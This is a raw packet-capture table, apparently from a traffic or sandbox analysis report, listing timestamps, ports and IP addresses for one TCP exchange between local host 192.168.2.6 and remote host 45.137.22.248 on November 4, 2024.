Nov 4, 2024 04:32:14.119102001 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.135011911 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.135304928 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.135380983 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.140245914 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140316010 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.140326023 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140336990 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140423059 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140450954 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140496016 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.140516996 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.140522003 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140533924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140580893 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140599012 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.140633106 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140665054 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.140683889 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.140713930 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140724897 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140775919 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.140902996 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.140912056 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141021967 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141058922 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141098022 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141108990 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141132116 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141158104 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141204119 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141248941 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141256094 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141299009 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141305923 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141346931 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141374111 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141396999 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141415119 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141464949 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141498089 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141504049 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141524076 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141568899 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141609907 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141614914 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141660929 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141695023 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141726971 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141746998 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141771078 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141801119 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141822100 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141854048 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141861916 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.141880989 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.141938925 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.145174026 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145241022 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.145431995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145564079 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145585060 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.145591974 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145617008 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.145704985 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145711899 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.145757914 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145797014 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.145831108 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145860910 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.145865917 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145908117 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.145915031 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145936966 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.145957947 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145989895 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.145992994 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146023035 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146040916 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146063089 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146130085 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146141052 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146152020 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146238089 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146249056 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146264076 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146276951 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146327972 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146354914 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146358013 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146392107 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146434069 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146444082 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146477938 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146488905 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146568060 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146579027 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146589994 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146609068 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146647930 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146657944 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146678925 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146682024 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146720886 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146722078 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146769047 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146780014 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146815062 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146825075 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146838903 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146862984 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146903992 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146914959 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146923065 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146930933 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.146953106 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146966934 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146981955 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.146998882 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147001028 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147013903 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147026062 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147053957 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147064924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147090912 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147090912 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147103071 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147114038 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147119999 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147149086 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147159100 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147190094 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147198915 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147202015 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147209883 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147248030 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147258043 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147288084 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147299051 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147309065 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147336006 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147346020 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147393942 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147403955 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147413015 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147418976 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147435904 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147442102 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147444010 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147455931 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147464991 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147476912 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147483110 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147490025 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147495031 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147505999 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147511959 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147516012 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147528887 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147548914 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147567987 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147578001 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147587061 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147602081 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147614002 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147623062 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147633076 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147638083 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147656918 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147666931 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147677898 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147686005 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147710085 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.147722006 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147737026 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147752047 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.147813082 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.150021076 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150108099 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150357008 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150357962 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.150429964 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150449038 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150466919 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.150511026 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.150511980 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150522947 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150541067 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150568008 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150583029 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.150600910 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.150660992 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.150702000 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150713921 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150748968 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150758982 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150763988 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.150794983 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.150846958 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150859118 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150893927 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150903940 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150971889 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.150989056 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151001930 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151020050 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151046038 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151056051 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151067972 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151087999 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151114941 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151125908 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151185036 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151195049 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151200056 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151252031 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151253939 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151271105 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151279926 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151299000 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151314974 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151330948 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151402950 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151415110 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151424885 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151443005 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151463032 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151480913 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151499987 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151501894 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151581049 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151592970 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151602983 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151611090 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151654005 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151665926 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151680946 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151705027 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151738882 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151740074 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151770115 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151781082 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151798964 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151810884 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151835918 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151865959 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151902914 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151937962 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.151968956 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151978970 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.151995897 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152046919 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152091026 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152101040 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152143002 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152242899 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152286053 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152327061 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152338982 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152352095 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152369022 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152394056 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152422905 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152434111 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152518034 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152528048 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152605057 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152626991 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152652979 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152666092 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152672052 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152707100 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152740955 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152775049 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152805090 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152805090 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152837992 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152856112 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152890921 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152915955 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152925968 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152934074 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152941942 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152961016 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.152966976 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.152970076 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153024912 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153033972 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153050900 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153059959 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153069973 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153088093 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153116941 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153130054 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153145075 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153156042 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153167009 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153175116 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153198004 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153198957 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153208971 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153245926 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153255939 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153274059 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153285980 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153309107 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153320074 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153325081 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153362036 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153371096 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153403044 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153408051 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153419018 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153455019 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153492928 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153503895 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153527021 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153536081 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153558969 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153567076 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153577089 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153594017 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153598070 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153628111 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153642893 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153677940 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153687954 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153698921 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153717041 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153717041 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153737068 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.153769016 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.153779030 CET	55615	49777	45.137.22.248	192.168.2.6
